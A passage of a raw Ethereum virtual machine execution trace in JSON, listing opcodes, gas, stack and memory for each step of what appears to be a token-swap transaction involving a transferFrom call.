0000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15470,"op":"DUP4","gas":95616,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x44f4000000000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15471,"op":"DUP3","gas":95613,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x44f4000000000000000000000000000000000000000000000000000000000000","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15472,"op":"ADD","gas":95610,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x44f4000000000000000000000000000000000000000000000000000000000000","0x2e4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15473,"op":"MSTORE","gas":95607,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x44f4000000000000000000000000000000000000000000000000000000000000","0x344"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918200000000000000000000000000000000000000000000000000000000"]},{"pc":15474,"op":"PUSH1","gas":95601,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15476,"op":"ADD","gas":95598,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x60","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15477,"op":"PUSH2","gas":95595,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15480,"op":"JUMP","gas":95592,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x3c61"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15457,"op":"JUMPDEST","gas":95584,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15458,"op":"DUP4","gas":95583,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15459,"op":"DUP2","gas":95580,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80","0x64"],"memory":["00000000000000000000000000